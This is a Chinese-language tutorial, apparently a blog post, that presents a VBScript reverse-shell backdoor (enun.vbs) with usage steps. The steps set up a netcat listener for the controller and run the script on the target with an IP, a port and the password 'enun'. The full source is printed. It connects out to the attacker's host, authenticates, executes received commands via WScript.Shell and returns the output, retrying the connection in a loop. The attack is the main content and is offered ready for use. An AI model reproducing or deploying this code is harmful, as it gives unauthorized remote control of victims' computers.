VBScript 打造自己的远程CMDShell附使用教程
使用方法：
1，控制：nc.exe，执行：nc -l -v -p 1234；
2，目标：cscript.exe enun.vbs IP Port；
3，密码：enun。
几点说明：
1，退出 SHELL，请输入 “exit”，不要用 “Ctrl + C”，这样的话只能等目标重启或手动运行后门才能连接；
2，Windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。
3，内部命令及管道使用如下图：
相关下载：
1，视频演示
2，vb6controls
enun.vbs 源码：
'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.com
' Usage: Cscript.exe //nologo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)
Do
Do While (SocketObj.State <> 7)
WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."
Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
SocketObj.Protocol = 0
SocketObj.RemoteHost = RemoteHost
SocketObj.RemotePort = RemotePort
SocketObj.Connect
WScript.Sleep 3000
Loop
WScript.Echo "Connected to server."
SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
Do While (SocketObj.BytesReceived = 0)
WScript.Sleep 10
Loop
'密码验证
SocketObj.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then
Set ShellObj = CreateObject("WScript.Shell")
sRevData = " "
SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)
'循环等待执行命令
Do
Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
SocketObj.SendData ExecObj.StdOut.ReadAll
SocketObj.SendData ExecObj.StdErr.ReadAll
If sRevData <> "" Then
SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
End If
If Left(sRevData, 4) = "exit" Then
SocketObj.Close
Exit Do
End If
SocketObj.GetData sRevData, vbString
WScript.Sleep 1000
Loop
Else
LockoutBadCount = LockoutBadCount + 1
SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
WScript.Sleep 1000
End If
'账户策略
If (LockoutBadCount > 3) Then
SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
WScript.Sleep 1000
SocketObj.Close
LockoutBadCount = 0
WScript.Sleep 600*1000
End If
Loop
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